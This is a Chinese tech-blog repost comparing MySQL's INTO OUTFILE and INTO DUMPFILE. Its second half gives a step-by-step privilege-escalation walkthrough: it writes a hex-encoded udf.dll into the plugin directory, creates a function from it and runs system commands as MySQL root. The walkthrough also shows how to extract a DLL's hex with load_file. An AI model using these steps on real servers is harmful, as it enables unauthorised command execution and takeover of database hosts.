mysql outfile 变量_<转>mysql dumpfile 与 outfile 函数的区别

本文详细对比了MySQL中INTO DUMPFILE与INTO OUTFILE两个函数的区别,INTO OUTFILE适合导出普通文本数据,而INTO DUMPFILE则适用于导出二进制文件,因其不会进行转义处理。此外还介绍了如何利用INTO DUMPFILE导入udf.dll实现权限提升的方法。

一直以为两个函数作用是相同的 经过简单测试发现还是有些区别的 如下表admin mysql select * from admin; +-----+-----------+---------+ | uid | name | pass | +----+------------+---------+ | 1 | admin | baidusb | | 2 | root | hacksb | | 3 | manage

一直以为两个函数作用是相同的

经过简单测试发现还是有些区别的

如下表admin

mysql> select * from admin;

+-----+-----------+---------+

| uid | name      | pass    |

+----+------------+---------+

|  1 | admin      | baidusb |

|  2 | root          | hacksb  |

|  3 | manage    | nimei    |

|  4 | boss         | helensb |

|  5 | guanli       | admin   |

|  6 | superuser  | G0Ood   |

+----+------------+---------+

mysql> select * from admin into outfile '/home/seclab/test/test1.txt';

Query OK,1 row affected (0.00 sec)

我是想将这些内容 导出到 一个txt文件,事实上是可以完整导出每行记录的.

这个很适合导库

而into dump是不行的 它只能导出 一行数据!

若我们想把一个 可执行2进制 文件用into outfile函数导出

事实上 导出后 就会被破坏

因为into outfile 函数 会 在行末端写入新行 更致命的 是会转义 换行符

这样的话这个2进制可执行 文件 就会被破坏

这时候我们用into dumpfile 就能导出 一个完整能执行的2进制 文件

into dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理

如在无web脚本 执行 但是有mysql root 执行的环境下 我们就可以 通过

into dump 函数导入udf.dll进行提权

mysql> show variable like '%plugin%';

+----------------+------------------------------------------+

|Variable_name   | Value                                    |

+----------------+------------------------------------------+

| plugin_dir     |c:\mysql\mysql server 5.1\lib/plugin      |

+----------------+------------------------------------------+

mysql> select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';

mysql> select * from func; #查看是否有人创建过udf 如果有就可以省略

mysql> create function MyCmd returns string soname ''c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';

mysql> select MyCmd('whoam');

一点小知识点:

如何获取该udf.dll文件的16进制值(hex)?

我们可以本地搭建mysql环境 找个可以用的udf.dll文件 执行下面操作

mysql> select hex(load_file ('c://temp/xxoo.dll')) into outfile 'c:/windows/temp/xxoo.txt';

如何获取该udf插件的内置 函数?

通过C32 等16进制 编辑器 或直接通过记事本 打开 看关键字 即可

摘自 http://hi.baidu.com/evilrapper/blog/item/5a36f290c9b54692a877a46a.html

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值